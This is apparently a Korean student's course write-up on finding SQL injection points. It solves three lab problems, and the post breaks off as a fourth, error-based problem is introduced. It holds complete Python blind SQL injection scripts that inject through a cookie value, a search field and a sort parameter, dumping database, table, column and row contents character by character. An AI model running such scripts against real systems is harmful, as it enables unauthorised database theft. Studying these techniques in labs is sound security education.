22. [8주차]-1 SQL injection 포인트 찾기
* 과제
1. 오늘 수업 정리
2. 심화 문제 풀이
1. 오늘 수업 정리
SQL injection을 하기 위해서 포인트를 찾아야 한다.
사용자로부터 입력값을 받아 SQL 구문을 생성하는 곳을 찾아야 한다.
ex) 로그인, 회원가입, 마이페이지, 검색기능....
그 후, 파라미터를 테스트 해본다.
그러면서 SQL 구문이 어떤식으로 이루어져 있을 지 추측한다.
and '1'='1 이나 and '1'='2 를 통해 참/거짓 시 구분이 가능한지 확인할 수도 있다.
사용자로부터 쿠키를 받아 SQL구문을 생성하거나
파라미터를 컬럼 값으로 삼아 SQL 구문을 생성하는 경우도 있다.
sort 나 DB 에러표시를 통해 SQL injection을 할 수도 있다.
2. 심화 문제 풀이
SQL Injection 심화 문제로 SQL injection 포인트부터 찾아야 하는 문제이다.
2.1 SQL Injection Point 1
첫 페이지이다.
먼저 회원가입부터 해주었다.
그 후, 로그인 한 후 둘러 보는 중에
로그인 후 쿠키로 사용자를 설정하고, 마이페이지 접근 시 해당 쿠키를 사용하는 것을 알아냈다.
확인 결과 마이페이지에서 참/거짓을 판별 할 수 있었고, 이걸 이용하기로 했다.
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time
def post_request_with_retry(url, headers, max_retries, cookie, attempt=1):
try:
# response = requests.post(url, data=data, timeout=timeout_seconds)
response = requests.get(url, headers=headers, cookies=cookie)
response.raise_for_status() # HTTP 에러가 발생하면 예외를 일으킴
# print('응답 받음:', response.json())
return response
except TimeoutError:
print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
except requests.exceptions.RequestException as e:
print(f'요청 실패: {e}')
if attempt < max_retries:
return post_request_with_retry(url, headers, max_retries, cookie, attempt+1)
else:
print('최대 재시도 횟수 도달. 요청을 중단합니다.')
return None
url = ''
headers = {
'User-Agent': generate_user_agent(os='win', device_type='desktop')
}
cookie={
"session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
"PHPSESSID": "i1ph8dg4g8ond9tdv34m7lho4p"
}
timeout_seconds = None
max_retries = 5
db_name = ""
table_name = ""
column_name = ""
table_length_max = 50
column_length_max = 50
# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
cookie["user"] = "aaa' and (select length(database()) = " + \
str(db_length_idx) + ") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload)
time.sleep(0.001)
# print(res.text)
# print(res.history)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
db_length = db_length_idx
print(f"db length: {db_length}")
# exit(0)
for db_length_idx2 in range(0, db_length+1):
for j in range(32, 127):
cookie["user"] = "aaa' and (ascii(substr((select database()),"+str(
db_length_idx2)+",1)) = "+str(j)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
db_name += chr(j)
print(f"db name: {db_name}")
table_cnt = ""
for table_cnt_idx in range(0, 20):
cookie["user"] = "aaa' and (select (select count(table_name) from information_schema.tables where table_schema='" + \
db_name+"') = "+str(table_cnt_idx)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
# print(res.text)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_cnt = table_cnt_idx
print(f"table all count: {table_cnt}")
for table_cnt_idx2 in range(0, table_cnt+1):
print(f" - table cnt[{table_cnt_idx2}]")
table_length = 0
for table_length_idx in range(0, table_length_max):
cookie["user"] = "aaa' and ((select length(table_name) from information_schema.tables where table_schema='" + \
db_name+"' limit "+str(table_cnt_idx2) + \
",1) = "+str(table_length_idx)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_length = table_length_idx
print(f" - table length: {table_length}")
table_name = ""
for table_length_idx2 in range(0, table_length+1):
for j in range(32, 127):
cookie["user"] = "aaa' and (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
table_length_idx2)+",1)) = "+str(j)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_name += chr(j)
print(f" - table name: {table_name}")
column_cnt = ""
for column_cnt_idx in range(0, 20):
cookie["user"] = "aaa' and (select (select count(column_name) from information_schema.columns where table_name='" + \
table_name+"' and table_schema='" + \
db_name+"') = "+str(column_cnt_idx)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
# print(res.text)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_cnt = column_cnt_idx
print(f" - column all count: {column_cnt}")
for column_cnt_idx2 in range(0, column_cnt+1):
print(f" - column cnt[{column_cnt_idx2}]")
column_length = 0
for column_length_idx in range(0, column_length_max):
cookie["user"] = "aaa' and ((select length(column_name) from information_schema.columns where table_name='" + \
table_name+"' and table_schema='"+db_name+"' limit " + \
str(column_cnt_idx2)+",1) = " + \
str(column_length_idx)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_length = column_length_idx
print(f" - column length: {column_length}")
column_name = ""
for column_length_idx2 in range(0, column_length+1):
for j in range(32, 127):
cookie["user"] = "aaa' and (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
db_name+"' and table_name='"+table_name+"' limit " + \
str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
",1)) = "+str(j)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_name += chr(j)
print(f" - column name: {column_name}")
data_cnt = 0
for data_cnt_idx in range(0, 20):
cookie["user"] = "aaa' and (select (select count("+column_name + \
") from "+db_name+"."+table_name+") = " + \
str(data_cnt_idx)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_cnt = data_cnt_idx
print(f" - data all count: {data_cnt}")
for data_cnt_idx2 in range(0, data_cnt):
print(f" - data cnt[{data_cnt_idx2}]")
data_length = 0
for data_length_idx in range(0, 50):
cookie["user"] = "aaa' and ((select length("+column_name + \
") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
str(data_length_idx)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_length = data_length_idx
print(f" - data length: {data_length}")
data_name = ""
for data_length_idx2 in range(0, data_length+1):
for j in range(32, 127):
cookie["user"] = "aaa' and (select ascii(substr((select "+column_name + \
" from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
str(data_length_idx2)+", 1)) = "+str(j)+") and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("input")[1]
placeholder = info.get('placeholder')
# print(placeholder)
# print(f"{db_length_idx}: {placeholder}")
# print(res.text)
if not placeholder:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_name += chr(j)
print(f" - data name: {data_name}")
참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.
위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.
2.2 SQL Injection Point 2
2번째 문제는 1과는 달리 세션을 이용하기 때문에 쿠키를 사용할 수 없다.
그래서 좀 더 둘러본 결과
게시판 기능의 검색 기능을 이용할 수 있었다.
POST 데이터 중 option_val을 이용해서 참/거짓을 판별 할 수 있었고, 이걸 SQL injection 에 사용하였다.
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time
def post_request_with_retry(url, data, headers, cookie, max_retries, attempt=1):
try:
# response = requests.post(url, data=data, timeout=timeout_seconds)
response = requests.post(url, data=data, headers=headers, cookies=cookie)
response.raise_for_status() # HTTP 에러가 발생하면 예외를 일으킴
# print('응답 받음:', response.json())
return response
except TimeoutError:
print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
except requests.exceptions.RequestException as e:
print(f'요청 실패: {e}')
if attempt < max_retries:
return post_request_with_retry(url, payload, headers, cookie, max_retries, attempt+1)
else:
print('최대 재시도 횟수 도달. 요청을 중단합니다.')
return None
url = ''
headers = {
'User-Agent': generate_user_agent(os='win', device_type='desktop')
}
cookie={
"session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
"PHPSESSID": "i1ph8dg4g8ond9tdv34m7lho4p"
}
payload = {
'option_val': 'title',
'board_result': 'ab',
'board_search': '%F0%9F%94%8D',
'date_from':'',
'date_to':'',
}
timeout_seconds = None
max_retries = 5
db_name = ""
table_name = ""
column_name = ""
table_length_max = 50
column_length_max = 50
# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
payload['option_val'] = "'1'='1' and (select length(database()) = " + \
str(db_length_idx) + ") and title"
res = post_request_with_retry(url, payload, headers, cookie, max_retries)
# print(payload)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
db_length = db_length_idx
print(f"db length: {db_length}")
for db_length_idx2 in range(0, db_length+1):
for j in range(32, 127):
payload['option_val'] = "'1'='1' and (ascii(substr((select database()),"+str(
db_length_idx2)+",1)) = "+str(j)+") and title"
res = post_request_with_retry(url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
db_name += chr(j)
print(f"db name: {db_name}")
table_cnt = ""
for table_cnt_idx in range(0, 20):
payload['option_val'] = "'1'='1' and (select (select count(table_name) from information_schema.tables where table_schema='" + \
db_name+"') = "+str(table_cnt_idx)+") and title"
res = post_request_with_retry(url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
# print(res.text)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_cnt = table_cnt_idx
print(f"table all count: {table_cnt}")
for table_cnt_idx2 in range(0, table_cnt+1):
print(f" - table cnt[{table_cnt_idx2}]")
table_length = 0
for table_length_idx in range(0, table_length_max):
payload['option_val'] = "'1'='1' and ((select length(table_name) from information_schema.tables where table_schema='" + \
db_name+"' limit "+str(table_cnt_idx2) + \
",1) = "+str(table_length_idx)+") and title"
res = post_request_with_retry(url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_length = table_length_idx
print(f" - table length: {table_length}")
table_name = ""
for table_length_idx2 in range(0, table_length+1):
for j in range(32, 127):
payload['option_val'] = "'1'='1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
table_length_idx2)+",1)) = "+str(j)+") and title"
res = post_request_with_retry(url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_name += chr(j)
print(f" - table name: {table_name}")
column_cnt = ""
for column_cnt_idx in range(0, 20):
payload['option_val'] = "'1'='1' and (select (select count(column_name) from information_schema.columns where table_name='" + \
table_name+"' and table_schema='" + \
db_name+"') = "+str(column_cnt_idx)+") and title"
res = post_request_with_retry(url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
# print(res.text)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_cnt = column_cnt_idx
print(f" - column all count: {column_cnt}")
for column_cnt_idx2 in range(0, column_cnt+1):
print(f" - column cnt[{column_cnt_idx2}]")
column_length = 0
for column_length_idx in range(0, column_length_max):
payload['option_val'] = "'1'='1' and ((select length(column_name) from information_schema.columns where table_name='" + \
table_name+"' and table_schema='"+db_name+"' limit " + \
str(column_cnt_idx2)+",1) = " + \
str(column_length_idx)+") and title"
res = post_request_with_retry(url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_length = column_length_idx
print(f" - column length: {column_length}")
column_name = ""
for column_length_idx2 in range(0, column_length+1):
for j in range(32, 127):
payload['option_val'] = "'1'='1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
db_name+"' and table_name='"+table_name+"' limit " + \
str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
",1)) = "+str(j)+") and title"
res = post_request_with_retry(
url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_name += chr(j)
print(f" - column name: {column_name}")
data_cnt = 0
for data_cnt_idx in range(0, 20):
payload["option_val"] = "'1'='1' and (select (select count("+column_name + \
") from "+db_name+"."+table_name+") = " + \
str(data_cnt_idx)+") and title"
res = post_request_with_retry(url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_cnt = data_cnt_idx
print(f" - data all count: {data_cnt}")
for data_cnt_idx2 in range(0, data_cnt):
print(f" - data cnt[{data_cnt_idx2}]")
data_length = 0
for data_length_idx in range(0, 50):
payload['option_val'] = "'1'='1' and ((select length("+column_name + \
") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
str(data_length_idx)+") and title"
res = post_request_with_retry(
url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_length = data_length_idx
print(f" - data length: {data_length}")
data_name = ""
for data_length_idx2 in range(0, data_length+1):
for j in range(32, 127):
payload["option_val"] = "'1'='1' and (select ascii(substr((select "+column_name + \
" from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
str(data_length_idx2)+", 1)) = "+str(j)+") and title"
res = post_request_with_retry(
url, payload, headers, cookie, max_retries)
# print(payload["UserId"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_name += chr(j)
print(f" - data name: {data_name}")
참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.
위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.
2.3 SQL Injection Point 3
3번 문제는 2번 처럼 게시판 검색을 사용하지만, sort 기능을 사용한다.
sort에 case when (1=1) then 1 else (select 1 union select 2) end 을 사용해서 참/거짓 여부를 확인할 수 있었다.
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time
def post_request_with_retry(url, payload, headers, max_retries, cookie, attempt=1):
try:
# response = requests.post(url, data=data, timeout=timeout_seconds)
response = requests.post(url, data=payload, headers=headers, cookies=cookie)
response.raise_for_status() # HTTP 에러가 발생하면 예외를 일으킴
# print('응답 받음:', response.json())
return response
except TimeoutError:
print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
except requests.exceptions.RequestException as e:
print(f'요청 실패: {e}')
if attempt < max_retries:
return post_request_with_retry(url, payload, headers, max_retries, cookie, attempt+1)
else:
print('최대 재시도 횟수 도달. 요청을 중단합니다.')
return None
url = ''
headers = {
'User-Agent': generate_user_agent(os='win', device_type='desktop')
}
cookie={
"session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
"PHPSESSID": "18lsani6dac3im6re05eirmunm"
}
payload = {
'option_val': 'title',
'board_result': 'ab',
'board_search': '%F0%9F%94%8D',
'date_from':'',
'date_to':'',
'sort': 'title'
}
timeout_seconds = None
max_retries = 5
db_name = ""
table_name = ""
column_name = ""
table_length_max = 50
column_length_max = 50
# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
payload['sort'] = "case when (select length(database()) = " + \
str(db_length_idx) + ") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload)
time.sleep(0.001)
# print(res.text)
# print(res.history)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
db_length = db_length_idx
print(f"db length: {db_length}")
for db_length_idx2 in range(0, db_length+1):
for j in range(32, 127):
payload['sort'] = "case when (ascii(substr((select database()),"+str(
db_length_idx2)+",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["sort"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
db_name += chr(j)
print(f"db name: {db_name}")
table_cnt = ""
for table_cnt_idx in range(0, 20):
payload['sort'] = "case when (select (select count(table_name) from information_schema.tables where table_schema='" + \
db_name+"') = "+str(table_cnt_idx)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
# print(res.text)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_cnt = table_cnt_idx
print(f"table all count: {table_cnt}")
for table_cnt_idx2 in range(0, table_cnt+1):
print(f" - table cnt[{table_cnt_idx2}]")
table_length = 0
for table_length_idx in range(0, table_length_max):
payload['sort'] = "case when ((select length(table_name) from information_schema.tables where table_schema='" + \
db_name+"' limit "+str(table_cnt_idx2) + \
",1) = "+str(table_length_idx)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_length = table_length_idx
print(f" - table length: {table_length}")
table_name = ""
for table_length_idx2 in range(0, table_length+1):
for j in range(32, 127):
payload['sort'] = "case when (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
table_length_idx2)+",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_name += chr(j)
print(f" - table name: {table_name}")
column_cnt = ""
for column_cnt_idx in range(0, 20):
payload['sort'] = "case when (select (select count(column_name) from information_schema.columns where table_name='" + \
table_name+"' and table_schema='" + \
db_name+"') = "+str(column_cnt_idx)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
# print(res.text)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_cnt = column_cnt_idx
print(f" - column all count: {column_cnt}")
for column_cnt_idx2 in range(0, column_cnt+1):
print(f" - column cnt[{column_cnt_idx2}]")
column_length = 0
for column_length_idx in range(0, column_length_max):
payload['sort'] = "case when ((select length(column_name) from information_schema.columns where table_name='" + \
table_name+"' and table_schema='"+db_name+"' limit " + \
str(column_cnt_idx2)+",1) = " + \
str(column_length_idx)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_length = column_length_idx
print(f" - column length: {column_length}")
column_name = ""
for column_length_idx2 in range(0, column_length+1):
for j in range(32, 127):
payload['sort'] = "case when (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
db_name+"' and table_name='"+table_name+"' limit " + \
str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_name += chr(j)
print(f" - column name: {column_name}")
data_cnt = 0
for data_cnt_idx in range(0, 20):
payload['sort'] = "case when (select (select count("+column_name + \
") from "+db_name+"."+table_name+") = " + \
str(data_cnt_idx)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_cnt = data_cnt_idx
print(f" - data all count: {data_cnt}")
for data_cnt_idx2 in range(0, data_cnt):
print(f" - data cnt[{data_cnt_idx2}]")
data_length = 0
for data_length_idx in range(0, 50):
payload['sort'] = "case when ((select length("+column_name + \
") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
str(data_length_idx)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_length = data_length_idx
print(f" - data length: {data_length}")
data_name = ""
for data_length_idx2 in range(0, data_length+1):
for j in range(32, 127):
payload['sort'] = "case when (select ascii(substr((select "+column_name + \
" from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
str(data_length_idx2)+", 1)) = "+str(j)+") then 1 else (select 1 union select 2) end"
res = post_request_with_retry(url, payload, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
parsed_html = BeautifulSoup(res.text, "html.parser")
info = parsed_html.find_all("tbody")[0]
# print(info)
children = info.find("tr", recursive=False)
# print(res.text)
if not children:
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_name += chr(j)
print(f" - data name: {data_name}")
참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.
위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.
2.4 SQL Injection Point 4
마지막 문제는 DB 에러에 관한 문제이다.
마이페이지에서 확인할 수 있었다.
마이페이지 접근 시 쿠키를 사용하고 있었고, 제대로 된 값이면 제대로 된 화면이 나온다.
